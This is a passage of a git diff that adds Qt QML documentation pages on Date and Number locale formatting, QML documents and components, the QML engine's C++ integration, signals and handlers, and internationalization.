+ \li the hour without a leading zero (0 to 23 or 1 to 12 if AM/PM display) + \row \li hh + \li the hour with a leading zero (00 to 23 or 01 to 12 if AM/PM display) + \row \li H + \li the hour without a leading zero (0 to 23, even with AM/PM display) + \row \li HH + \li the hour with a leading zero (00 to 23, even with AM/PM display) + \row \li m \li the minute without a leading zero (0 to 59) + \row \li mm \li the minute with a leading zero (00 to 59) + \row \li s \li the second without a leading zero (0 to 59) + \row \li ss \li the second with a leading zero (00 to 59) + \row \li z \li the milliseconds without leading zeroes (0 to 999) + \row \li zzz \li the milliseconds with leading zeroes (000 to 999) + \row \li AP or A + \li use AM/PM display. \e AP will be replaced by either "AM" or "PM". + \row \li ap or a + \li use am/pm display. \e ap will be replaced by either "am" or "pm". + \row \li t \li the timezone (for example "CEST") + \endtable + + All other input characters will be ignored. Any sequence of characters that + are enclosed in singlequotes will be treated as text and not be used as an + expression. Two consecutive singlequotes ("''") are replaced by a singlequote + in the output. + + Example format strings (assuming that the QTime is 14:13:09.042) + + \table + \header \li Format \li Result + \row \li hh:mm:ss.zzz \li 14:13:09.042 + \row \li h:m:s ap \li 2:13:9 pm + \row \li H:m:s a \li 14:13:9 pm + \endtable + + If the date is invalid, an empty string will be returned. + + \sa {QtQuick2::Locale}{Locale} +*/ + +/*! + \qmlmethod string Date::toLocaleString(locale,format) + + Converts the Date to a string containing the date and time + suitable for the specified \a locale + in the specified \a format. + + If the format is not specified Locale.LongFormat will be used. + + If \a locale is not specified, the default locale will be used. + + The following example shows the current date and time formatted + for the German locale: + \code + import QtQuick 2.0 + + Text { + text: "The date is: " + Date().toLocaleString(Qt.locale("de_DE")) + } + \endcode +*/ + +/*! + \qmlmethod string Date::toLocaleDateString(locale,format) + + Converts the Date to a string containing the date suitable for the specified \a locale + in the specified \a format. + + If the format is not specified Locale.LongFormat will be used. + + If \a locale is not specified, the default locale will be used. + + The following example shows the current date formatted + for the German locale: + \code + import QtQuick 2.0 + + Text { + text: "The date is: " + Date().toLocaleDateString(Qt.locale("de_DE")) + } + \endcode +*/ + +/*! + \qmlmethod string Date::toLocaleTimeString(locale,format) + + Converts the Date to a string containing the time suitable for the specified \a locale + in the specified \a format. + + If the format is not specified Locale.LongFormat will be used. + + If \a locale is not specified, the default locale will be used. + + The following example shows the current time formatted + for the German locale: + \code + import QtQuick 2.0 + + Text { + text: "The date is: " + Date().toLocaleTimeString(Qt.locale("de_DE")) + } + \endcode +*/ + diff --git a/src/qml/doc/src/qmldocument.qdoc b/src/qml/doc/src/qmldocument.qdoc new file mode 100644 index 0000000000..89a5bbd57b --- /dev/null +++ b/src/qml/doc/src/qmldocument.qdoc @@ -0,0 +1,151 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qml-documents.html +\title QML Documents +\brief a description of QML documents and the kind of content they contain + +A QML document is a block of QML source code. QML documents generally correspond to files +stored on a disk or at a location on a network, but they can also be constructed directly +from text data. + +Here is a simple QML document: + +\snippet doc/snippets/qml/qml-documents/non-trivial.qml document + +QML documents are always encoded in UTF-8 format. + +A QML document always begins with one or more import statements. To prevent elements +introduced in later versions from affecting existing QML programs, the element types +available within a document are controlled by the imported QML \l {Modules} with +a corresponding \e version. + +QML does \e not have a preprocessor that modifies the document prior to +presentation to the \l{The QML Engine}{QML engine}, unlike C or C++. +The \c import statements do not copy and prepend the code in the document, but +instead instruct the QML engine on how to resolve type references found +in the document. Any type reference present in a QML document - such as \c +Rectangle and \c ListView - including those made within an \l {Inline +JavaScript}{JavaScript block} or \l {Property Binding in QML}{property +bindings}, are \e resolved based exclusively on the import statements. At least +one \c import statement must be present such as \c{import QtQuick 2.0}. + +Each \c id value in a QML document must be unique within that document. They do +not need to be unique across different documents as id values are resolved +according to the document scope. + +\section1 Documents as Component Definitions + +A QML document defines a single, top-level \l {QML Components}{QML component}. A +QML component is a template that is interpreted by the QML engine to +create an object with some predefined behaviour. As it is a template, a single +QML component can be "run" multiple times to produce several objects, each of +which are said to be \e instances of the component. + +Once created, instances are not dependent on the component that created them, so +they can operate on independent data. Here is an example of a simple "Button" +component (defined in a \c Button.qml file) that is instantiated four times by +\c application.qml. Each instance is created with a different value for its \c +text property: + +\table +\row +\li Button.qml +\li application.qml + +\row +\li \snippet doc/snippets/qml/qml-documents/qmldocuments.qml document +\li +\qml +import QtQuick 2.0 + +Column { + spacing: 10 + + Button { text: "Apple" } + Button { text: "Orange" } + Button { text: "Pear" } + Button { text: "Grape" } +} +\endqml + +\image anatomy-component.png + +\endtable + +Any snippet of QML code can become a component, just by placing it in the file +"<Name>.qml" where <Name> is the component name, and begins with an \b +uppercase letter. Note that the case of all characters in the <Name> are +significant on some filesystems, notably UNIX filesystems. It is recommended +that the case of the filename matches the case of the component name in QML +exactly, regardless of the platform the QML will be deployed to. These QML +component files automatically become available as new QML element types to other +QML components and applications in the same directory. + +The \l{QML Components} article details the creation of components and how to +load them in other components. + +\section1 Inline Components + +In addition to the top-level component that all QML documents define, and any +reusable components placed in separate files, documents may also include \e +inline components. Inline components are declared using the \l Component +element, as can be seen in the first example above. Inline components share all +the characteristics of regular top-level components and use the same \c import +list as their containing QML document. Components are one of the most basic +building blocks in QML, and are frequently used as "factories" by other +elements. For example, the \l ListView element uses the \c delegate component as +the template for instantiating list items - each list item is just a new +instance of the component with the item specific data set appropriately. + +Like other \l {QML Elements}, the \l Component element is an object and must be +assigned to a property. \l Component objects may also have an object id. In the +first example on this page, the inline component is added to the \l Rectangle's +\c resources list, and then \l {Property Binding} is used to assign the \l +Component to the \l ListView's \c delegate property. The QML language even +contains a syntactic optimization when assigning directly to a component +property for this case where it will automatically insert the \l Component tag. +This means that by enclosing components in a \c Component element, we can +assign an id to the component and use the component elsewhere + +These final two examples perform identically to the original document. + +\table +\row +\li +\snippet doc/snippets/qml/qml-documents/inline-component.qml document +\li +\snippet doc/snippets/qml/qml-documents/inline-text-component.qml document +\endtable + + +For information about components, the \l{QML Components} article details the +creation of components and how to load them in other components. + +\sa QQmlComponent +*/ diff --git a/src/qml/doc/src/qmlengine.qdoc b/src/qml/doc/src/qmlengine.qdoc new file mode 100644 index 0000000000..d99e1f3aba --- /dev/null +++ b/src/qml/doc/src/qmlengine.qdoc @@ -0,0 +1,481 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\target qmlengine +\page qmlengine.html +\ingroup qml-features +\title The QML Engine +\brief the engine runs QML applications + +The QML engine runs and executes QML +applications. The engine loads, instantiates, and executes the QML context as +specified in QML files, plugins, or applications. + +\section1 Core Module Classes + + The \l{QtQml}{Qt Declarative} module provides a set of C++ APIs for + extending your QML applications from C++ and embedding QML into C++ + applications. There are several core classes in the Qt Declarative module + that provide the essential capabilities for doing this. These are: + + \list + \li QQmlEngine: A QML engine provides the environment for executing QML code. Every + application requires at least one engine instance. + \li QQmlComponent: A component encapsulates QML information. + \li QQmlContext: A context allows an application to expose data to + the QML components created by an engine. + \endlist + + The Qt Declarative module consists of the engine, + context, component encapsulation, and visual items. + + \list + \li QQuickItem + \li QQuickPaintedItem + \li QQuickView + \endlist + + \section2 Declarative Engine + A QQmlEngine allows the configuration of global settings that + apply to all of its QML component instances: for example, the + QNetworkAccessManager to be used for network communications, and the + file path to be used for persistent storage. + + QQmlComponent is used to load QML documents. Each + QQmlComponent instance represents a single document. A component + can be created from the URL or file path of a QML document, or the raw + QML code of the document. Component instances are instatiated through + the QQmlComponent::create() method, like this: + + \code + QQmlEngine engine; + QQmlComponent component(&engine, QUrl::fromLocalFile("MyRectangle.qml")); + QObject *rectangleInstance = component.create(); + + // ... + delete rectangleInstance; + \endcode + + QML documents can also be loaded using QQuickView. This class + provides a convenient QWidget-based view for embedding QML components + into QGraphicsView-based applications. (For other methods of integrating + QML into QWidget-based applications, see \l {Integrating QML Code with + existing Qt UI code}.) + +\section1 Engine and Context Initialization + + \section2 Loading QML Components from C++ + + A QML document can be loaded with QQmlComponent or QQuickView. + QQmlComponent loads a QML component as a C++ object; + QQuickView also does this, but additionally loads the QML component + directly into a QGraphicsView. It is convenient for loading a displayable + QML component into a QWidget-based application. + + For example, suppose there is a \c MyItem.qml file that looks like this: + + \snippet doc/snippets/qml/qtbinding/loading/MyItem.qml start + \snippet doc/snippets/qml/qtbinding/loading/MyItem.qml end + + This QML document can be loaded with QQmlComponent or + QQuickView with the following C++ code. Using a QQmlComponent + requires calling QQmlComponent::create() to create a new instance of + the component, while a QQuickView automatically creates an instance of + the component, which is accessible via QQuickView::rootObject(): + + \table + \row + \li + \snippet doc/snippets/qml/qtbinding/loading/main.cpp QQmlComponent-a + \dots 0 + \snippet doc/snippets/qml/qtbinding/loading/main.cpp QQmlComponent-b + \li + \snippet doc/snippets/qml/qtbinding/loading/main.cpp QQuickView + \endtable + + This \c object is the instance of the \c MyItem.qml component that has been + created. You can now modify the item's properties using + QObject::setProperty() or QQmlProperty: + + \snippet doc/snippets/qml/qtbinding/loading/main.cpp properties + + Alternatively, you can cast the object to its actual type and call functions + with compile-time safety. In this case the base object of \c MyItem.qml is + an \l Item, which is defined by the QQuickItem class: + + \snippet doc/snippets/qml/qtbinding/loading/main.cpp cast + + You can also connect to any signals or call functions defined in the + component using QMetaObject::invokeMethod() and QObject::connect(). See \l + {Exchanging data between QML and C++} below for further details. + + \section3 Locating child objects + + QML components are essentially object trees with children that have siblings + and their own children. Child objects of QML components can be located using + the QObject::objectName property with QObject::findChild(). For example, if + the root item in \c MyItem.qml had a child \l Rectangle item: + + \snippet doc/snippets/qml/qtbinding/loading/MyItem.qml start + \codeline + \snippet doc/snippets/qml/qtbinding/loading/MyItem.qml child + \snippet doc/snippets/qml/qtbinding/loading/MyItem.qml end + + The child could be located like this: + + \snippet doc/snippets/qml/qtbinding/loading/main.cpp findChild + + If \c objectName is used inside a delegate of a ListView, \l Repeater or + some other element that creates multiple instances of its delegates, there + will be multiple children with the same \c objectName. In this case, + QObject::findChildren() can be used to find all children with a matching \c + objectName. + + \warning While it is possible to use C++ to access and manipulate QML + objects deep into the object tree, we recommend that you do not take this + approach outside of application testing and prototyping. One strength of QML + and C++ integration is the ability to implement the QML user interface + separately from the C++ logic and dataset backend, and this strategy breaks + if the C++ side reaches deep into the QML components to manipulate them + directly. This would make it difficult to, for example, swap a QML view + component for another view, if the new component was missing a required \c + objectName. It is better for the C++ implementation to know as little as + possible about the QML user interface implementation and the composition of + the QML object tree. + + + \section2 Embedding C++ Objects into QML Components + + When loading a QML scene into a C++ application, it can be useful to + directly embed C++ data into the QML object. QQmlContext enables + this by exposing data to the context of a QML component, allowing data to be + injected from C++ into QML. + + For example, here is a QML item that refers to a \c currentDateTime value + that does not exist in the current scope: + + \snippet doc/snippets/qml/qtbinding/context/MyItem.qml 0 + + This \c currentDateTime value can be set directly by the C++ application + that loads the QML component, using + QQmlContext::setContextProperty(): + + \snippet doc/snippets/qml/qtbinding/context/main.cpp 0 + + Context properties can hold either QVariant or QObject* values. This means + custom C++ objects can also be injected using this approach, and these + objects can be modified and read directly in QML. Here, we modify the above + example to embed a QObject instance instead of a QDateTime value, and the + QML code invokes a method on the object instance: + + \table + \row + \li + \snippet doc/snippets/qml/qtbinding/context-advanced/applicationdata.h 0 + \codeline + \snippet doc/snippets/qml/qtbinding/context-advanced/main.cpp 0 + \li + \snippet doc/snippets/qml/qtbinding/context-advanced/MyItem.qml 0 + \endtable + + (Note that date/time values returned from C++ to QML can be formatted through + \l{QML:Qt::formatDateTime}{Qt.formatDateTime()} and associated functions.) + + If the QML item needs to receive signals from the context property, it can + connect to them using the \l Connections element. For example, if \c + ApplicationData has a signal named \c dataChanged(), this signal can be + connected to using an \c onDataChanged handler within a \l Connections + object: + + \snippet doc/snippets/qml/qtbinding/context-advanced/connections.qml 0 + + Context properties can be useful for using C++ based data models in a QML view. See the + \l {declarative/modelviews/stringlistmodel}{String ListModel}, + \l {declarative/modelviews/objectlistmodel}{Object ListModel} and + \l {declarative/modelviews/abstractitemmodel}{AbstractItemModel} models for + respective examples on using QStringListModel, QObjectList-based models and QAbstractItemModel + in QML views. + + Also see the QQmlContext documentation for more information. + + +\section1 Invoking QML Entities through the Engine + + QML and C++ objects can communicate with one another through signals, slots + and property modifications. For a C++ object, any data that is exposed to + Qt's \l{The Meta-Object System}{Meta-Object System} that is, properties, + signals, slots and Q_INVOKABLE methods - become available to QML. On the QML + side, all QML object data is automatically made available to the meta-object + system and can be accessed from C++. + + The \l{Creating QML Types} article covers the topic of exposing Qt functions + and properties to the declarative engine. + + \section2 Calling Functions + + QML functions can be called from C++ and vice-versa. + + All QML functions are exposed to the meta-object system and can be called + using QMetaObject::invokeMethod(). Here is a C++ application that uses this + to call a QML function: + + \table + \row + \li \snippet doc/snippets/qml/qtbinding/functions-qml/MyItem.qml 0 + \li \snippet doc/snippets/qml/qtbinding/functions-qml/main.cpp 0 + \endtable + + Notice the Q_RETURN_ARG() and Q_ARG() arguments for + QMetaObject::invokeMethod() must be specified as QVariant types, as this is + the generic data type used for QML functions and return values. + + To call a C++ function from QML, the function must be either a Qt slot, or a + function marked with the Q_INVOKABLE macro, to be available to QML. In the + following example, the QML code invokes methods on the \c myObject object, + which has been set using QQmlContext::setContextProperty(): + + \table + \row + \li + \snippet doc/snippets/qml/qtbinding/functions-cpp/MyItem.qml 0 + \li + \snippet doc/snippets/qml/qtbinding/functions-cpp/myclass.h 0 + \codeline + \snippet doc/snippets/qml/qtbinding/functions-cpp/main.cpp 0 + \endtable + + QML supports the calling of overloaded C++ functions. If there are multiple + C++ functions with the same name but different arguments, the correct + function will be called according to the number and the types of arguments + that are provided. + + + \section2 Receiving Signals + + All QML signals are automatically available to C++, and can be connected to + using QObject::connect() like any ordinary Qt C++ signal. In return, any C++ + signal can be received by a QML object using \l {Signal Handlers}{signal + handlers}. + + Here is a QML component with a signal named \c qmlSignal. This signal is + connected to a C++ object's slot using QObject::connect(), so that the \c + cppSlot() method is called whenever the \c qmlSignal is emitted: + + \table + \row + \li + \snippet doc/snippets/qml/qtbinding/signals-qml/MyItem.qml 0 + \li + \snippet doc/snippets/qml/qtbinding/signals-qml/myclass.h 0 + \codeline + \snippet doc/snippets/qml/qtbinding/signals-qml/main.cpp 0 + \endtable + + To connect to Qt C++ signals from within QML, use a signal handler with the + \c on<SignalName> syntax. If the C++ object is directly creatable from + within QML (see \l {Defining new QML elements} above) then the signal + handler can be defined within the object declaration. In the following + example, the QML code creates a \c ImageViewer object, and the \c + imageChanged and \c loadingError signals of the C++ object are connected to + through \c onImagedChanged and \c onLoadingError signal handlers in QML: + + \table + \row + \li + + \snippet doc/snippets/qml/qtbinding/signals-cpp/imageviewer.h start + \dots 4 + \snippet doc/snippets/qml/qtbinding/signals-cpp/imageviewer.h end + + \li + \snippet doc/snippets/qml/qtbinding/signals-cpp/standalone.qml 0 + \endtable + + (Note that if a signal has been declared as the NOTIFY signal for a + property, QML allows it to be received with an \c on<Property>Changed + handler even if the signal's name does not follow the \c <Property>Changed + naming convention. In the above example, if the "imageChanged" signal was + named "imageModified" instead, the \c onImageChanged signal handler would + still be called.) + + If, however, the object with the signal is not created from within the QML + code, and the QML item only has a reference to the created object - for + example, if the object was set using + QQmlContext::setContextProperty() - then the \l Connections element + can be used instead to create the signal handler: + + \table + \row + \li \snippet doc/snippets/qml/qtbinding/signals-cpp/main.cpp connections + \li \snippet doc/snippets/qml/qtbinding/signals-cpp/MyItem.qml 0 + \endtable + + C++ signals can use enum values as parameters provided that the enum is + declared in the class that is emitting the signal, and that the enum is + registered using Q_ENUMS. See \l {Using enumerations of a custom type} below + for details. + + + \section2 Modifying Properties + + Any properties declared in a QML object are automatically accessible from + C++. Given a QML item like this: + + \snippet doc/snippets/qml/qtbinding/properties-qml/MyItem.qml 0 + + The value of the \c someNumber property can be set and read using + QQmlProperty, or QObject::setProperty() and QObject::property(): + + \snippet doc/snippets/qml/qtbinding/properties-qml/main.cpp 0 + + You should always use QObject::setProperty(), QQmlProperty or + QMetaProperty::write() to change a QML property value, to ensure the QML + engine is made aware of the property change. For example, say you have a + custom element \c PushButton with a \c buttonText property that internally + reflects the value of a \c m_buttonText member variable. Modifying the + member variable directly like this is not a good idea: + + \badcode + // BAD! + QQmlComponent component(engine, "MyButton.qml"); + PushButton *button = qobject_cast<PushButton*>(component.create()); + button->m_buttonText = "Click me"; + \endcode + Since the value is changed directly, this bypasses Qt's \l{The Meta-Object + System}{meta-object system} and the QML engine is not made aware of the + property change. This means property bindings to \c buttonText would not be + updated, and any \c onButtonTextChanged handlers would not be called. + + \target properties-cpp + + Any \l {The Property System}{Qt properties} - that is, those declared with + the Q_PROPERTY() macro - are accessible from QML. Here is a modified version + of the \l {Embedding C++ objects into QML components}{earlier example} on + this page; here, the \c ApplicationData class has a \c backgroundColor + property. This property can be written to and read from QML: + + \table + \row + \li \snippet doc/snippets/qml/qtbinding/properties-cpp/applicationdata.h 0 + \li \snippet doc/snippets/qml/qtbinding/properties-cpp/MyItem.qml 0 + \endtable + + Notice the \c backgroundColorChanged signal is declared as the NOTIFY signal + for the \c backgroundColor property. If a Qt property does not have an + associated NOTIFY signal, the property cannot be used for \l{Property + Binding in QML}, as the QML engine would not be notified when the value + changes. If you are using custom types in QML, make sure their properties + have NOTIFY signals so that they can be used in property bindings. + + The \l{Creating QML Types} article covers the topic of exposing Qt + properties to the runtime. For more information, the + \l{Tutorial: Writing QML extensions with C++}{Writing QML extensions with C++} + tutorial demonstrates basic usage patterns. + +\section1 Loading QML Plugins + + Additional Qt code is runnable in the engine as a QML plugin. The \l{QML + Plugins} article covers the creation and usage patterns of QML plugins. The + QQmlExtensionPlugin class is an abstract class for writing QML + plugins. The \l {How to Create Qt Plugins} contains more information about + Qt's plugin system. + +\target qml-engine-optimization +\section1 Optimization + + Often, to develop high performance elements it is helpful to know more about + the status of the QML engine. For example, it might be beneficial to delay + initializing some costly data structures until after all the properties have + been set. + + The QML engine defines an interface class called QQmlParserStatus, + which contains a number of virtual methods that are invoked at various + stages during component instantiation. To receive these notifications, an + element implementation inherits QQmlParserStatus and notifies the Qt + meta system using the Q_INTERFACES() macro. + + \code + class Example : public QObject, public QQmlParserStatus + { + Q_OBJECT + Q_INTERFACES(QQmlParserStatus) + public: + virtual void componentComplete() + { + qDebug() << "Woohoo! Now to do my costly initialization"; + } + }; + \endcode + +\section1 Memory Management and QVariant types + + It is a component's responsibility to ensure that it does not access or + return pointers to invalid objects. QML makes the following guarentees: + + \list + \li An object assigned to a QObject (or QObject-derived) pointer property + will be valid at the time of assignment. + + Following assignment, it is the responsibility of the class to subsequently + guard this pointer, either through a class specific method or the generic + QPointer class. + + \li An object assigned to a QVariant will be valid at the time of assignment. + + When assigning an object to a QVariant property, QML will always use a + QMetaType::QObjectStar typed QVariant. It is the responsibility of the class + to guard the pointer. A general rule when writing a class that uses QVariant + properties is to check the type of the QVariant when it is set and if the + type is not handled by your class, reset it to an invalid variant. + + \li An object assigned to a QObject (or QObject-derived) list property will + be valid at the time of assignment. + + Following assignment, it is the responsibility of the class to subsequently + guard this pointer, either through a class specific method or the generic + QPointer class. + \endlist + + Components should assume that any QML assigned object can be deleted at any + time, and respond accordingly. If documented as such an element need not + continue to work in this situation, but it must not crash. + +\section1 JavaScript Runtime + + The runtime implements the \l{ECMA-262}{ECMAScript Language Specification} standard, + 5th edition. The reserved words, conditionals, variables, and object behaviors + follow after the standard. + + The \l{QML JavaScript Host Environment} article has information about the + JavaScript host environment provided by QML, which is different than the + browser host environment many are familiar with. + + The \l{JavaScript Code} article has information about placing JavaScript + code within QML code. + +*/ diff --git a/src/qml/doc/src/qmlevents.qdoc b/src/qml/doc/src/qmlevents.qdoc new file mode 100644 index 0000000000..e47554ce45 --- /dev/null +++ b/src/qml/doc/src/qmlevents.qdoc @@ -0,0 +1,130 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qmlevents.html +\ingroup qml-features + +\title QML Signal and Handler Event System +\brief the event sytem in QML + +Application and user interface components communicate with each other. For +example, a button component needs to know that the user is clicking on it. +The button may change colors to indicate its state or perform some logic. As +well, application needs to know whether the user is clicking the button. The +application may need to relay this clicking event to other applications. + +QML has a signal and handler mechanism, where the \e signal is the event +and the component responds to the event through the \e handler. The signal +is emitted and the handler is invoked. Placing logic such as scripts or other +operations in the handler allows the component to respond to the event. + +\keyword qml-signals-and-handlers +\section1 Signals and Handlers + +Signals provide a way to notify other objects when an event has occurred. For +example, the MouseArea \c clicked signal notifies other objects that the mouse +has been clicked within the area. + +The syntax for defining a new signal is: + +\tt{signal <name>[([<type> <parameter name>[, ...]])]} + +Attempting to declare two signals or methods with the same name in the same type +block generates an error. However, a new signal may reuse the name of an existing signal on the type. (This should be done with caution, as the existing signal may be hidden and become inaccessible.) + +Here are various examples of signal declarations: +\snippet doc/snippets/qml/events.qml parent begin +\snippet doc/snippets/qml/events.qml signal declaration +\snippet doc/snippets/qml/events.qml parent end + +If the signal has no parameters, the "\c{()}" brackets are optional. If +parameters are used, the parameter types must be declared, as for the \c string +and \c variant arguments of the \c perform signal. + +Adding a signal to an item automatically adds a \e{signal handler} as well. The +signal hander is named \c on<SignalName>, with the first letter of the signal in +uppercase. The previous signals have the following signal handlers: +\snippet doc/snippets/qml/events.qml signal handler declaration + +Further, each QML properties have a \c{<property_name>Changed} signal and its +corresponding \c{on<property_name>Changed} signal handler. As a result, property +changes may notify other components for any changes. +\snippet doc/snippets/qml/events.qml automatic signals + +To emit a signal, invoke it as a method. The signal handler binding is similar +to a property binding and it is invoked when the signal is emitted. Use the +defined argument names to access the respective arguments. +\snippet doc/snippets/qml/events.qml signal emit +Note that the \c Component.onCompleted is an +\l{attached-signalhandlers}{attached signal handler}; it is invoked when the +\l Component initialization is complete. + +\keyword qml-connect-signals-to-method +\section2 Connecting Signals to Methods and Signals + +Signal objects have a \c connect() method to a connect a signal either to a +method or another signal. When a signal is connected to a method, the method is +automatically invoked whenever the signal is emitted. This mechanism enables a +signal to be received by a method instead of a +\l {Signal Handlers}{signal handler}. + +\snippet doc/snippets/qml/events.qml connect method +The \c {connect()} method is appropriate when connecting a JavaScript method to +a signal. + +There is a corresponding \c disconnect() method for removing connected +signals. + +\section3 Signal to Signal Connect + +By connecting signals to other signals, the \c connect() method can form different +signal chains. +\snippet doc/snippets/qml/events.qml forward signal + + +Whenever the \l MouseArea \c clicked signal is emitted, the \c send +signal will automatically be emitted as well. + +\code +output: + MouseArea clicked + Send clicked +\endcode + +\section1 Events from the Declarative Runtime + +There maybe cases where a signal comes from the \l{The QML Engine}{declarative +runtime}. For example, it is possible to receive events from \l{QML Plugins}{QML +plugins}. For more signal control, the \c connect() method and the \l +Connections element may connect a signal from the runtime to another signal or +method. + +For complete information on events from the runtime or creating signals from the +runtime, read the \l{The QML Engine} and the \l{Creating QML Types} articles. + +*/ diff --git a/src/qml/doc/src/qmli18n.qdoc b/src/qml/doc/src/qmli18n.qdoc new file mode 100644 index 0000000000..b65c001e8e --- /dev/null +++ b/src/qml/doc/src/qmli18n.qdoc @@ -0,0 +1,95 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qml-i18n.html +\ingroup qml-features +\title QML Internationalization +\brief translating texts in QML + +\section1 Translation + +Strings in QML can be marked for translation using the qsTr(), qsTranslate(), qsTrId(), +QT_TR_NOOP(), QT_TRANSLATE_NOOP(), and QT_TRID_NOOP() functions. + +For example: +\qml +Text { text: qsTr("Pictures") } +\endqml + +These functions are standard QtScript functions; for more details see +QScriptEngine::installTranslatorFunctions(). + +QML relies on the core internationalization capabilities provided by Qt. These +capabilities are described more fully in: +\list +\li \l {Internationalization with Qt} +\li \l {Qt Linguist Manual} +\endlist + +You can test a translation with the \l {QML Viewer} using the -translation option. + +\section2 Example + +First we create a simple QML file with text to be translated. The string +that needs to be translated is enclosed in a call to \c qsTr(). + +hello.qml: +\qml +import QtQuick 2.0 + +Rectangle { + width: 200; height: 200 + Text { text: qsTr("Hello"); anchors.centerIn: parent } +} +\endqml + +Next we create a translation source file using lupdate: +\code +lupdate hello.qml -ts hello.ts +\endcode + +Then we open \c hello.ts in \l{Qt Linguist Manual} {Linguist}, provide +a translation and create the release file \c hello.qm. + +Finally, we can test the translation: +\code +qmlviewer -translation hello.qm hello.qml +\endcode + +You can see a complete example and source code in the \l{declarative/i18n}{QML Internationalization example}. + +\section1 Localization + +Localization is the process of adapting to local conventions, +for example presenting dates and times using the locally preferred formats. + +Qt Quick supports localization via the \l {QtQuick2::Locale}{Locale} object and extensions to the +\l{ECMA-262}{ECMAScript} \l {QtQuick2::Date}{Date} and \l {QtQuick2::Number}{Number} types. + + +*/ diff --git a/src/qml/doc/src/qmlnumber.qdoc b/src/qml/doc/src/qmlnumber.qdoc new file mode 100644 index 0000000000..47dc0338c0 --- /dev/null +++ b/src/qml/doc/src/qmlnumber.qdoc @@ -0,0 +1,105 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + \qmlclass Number + \inqmlmodule QtQuick 2 + \brief The Number object provides represents a number value + + The QML Number object extends the JS Number object with + locale aware functions. + + \sa {QtQuick2::Locale}{Locale} +*/ + +/*! + \qmlmethod string Number::toLocaleString(locale,format,precision) + + Converts the Number to a string suitable for the specified \a locale + in the specified \a format, with the specified \a precision. + + Valid formats are: + \list + \li 'f' Decimal floating point, e.g. 248.65 + \li 'e' Scientific notation using e character, e.g. 2.4865e+2 + \li 'E' Scientific notation using E character, e.g. 2.4865E+2 + \li 'g' Use the shorter of e or f + \li 'G' Use the shorter of E or f + \endlist + + If precision is not specified, the precision will be 2. + + If the format is not specified 'f' will be used. + + If \a locale is not specified, the default locale will be used. + + The following example shows a number formatted for the German locale: + \code + import QtQuick 2.0 + + Text { + text: "The value is: " + Number(4742378.423).toLocaleString(Qt.locale("de_DE")) + } + \endcode + + You can apply toLocaleString() directly to constants, provided the decimal + is included in the constant, e.g. + \code + 123.0.toLocaleString(Qt.locale("de_DE")) // OK + 123..toLocaleString(Qt.locale("de_DE")) // OK + 123.toLocaleString(Qt.locale("de_DE")) // fails + \endcode +*/ + +/*! + \qmlmethod string Number::toLocaleCurrencyString(locale,symbol) + + Converts the Number to a currency using the currency and conventions of the specified + \a locale. If \a symbol is specified it will be used as the currency + symbol. + + \sa Locale::currencySymbol() +*/ + +/*! + \qmlmethod string Number::fromLocaleString(locale,number) + + Returns a Number by parsing \a number using the conventions of the supplied \a locale. + + If \a locale is not supplied the default locale will be used. + + For example, using the German locale: + \code + var german = Qt.locale("de_DE"); + var d; + d = Number.fromLocaleString(german, "1234,56) // d == 1234.56 + d = Number.fromLocaleString(german, "1.234,56") // d == 1234.56 + d = Number.fromLocaleString(german, "1234.56") // throws exception + d = Number.fromLocaleString(german, "1.234") // d == 1234.0 + \endcode +*/ + diff --git a/src/qml/doc/src/qmlplugins.qdoc b/src/qml/doc/src/qmlplugins.qdoc new file mode 100644 index 0000000000..b81c4c5ae1 --- /dev/null +++ b/src/qml/doc/src/qmlplugins.qdoc @@ -0,0 +1,133 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the 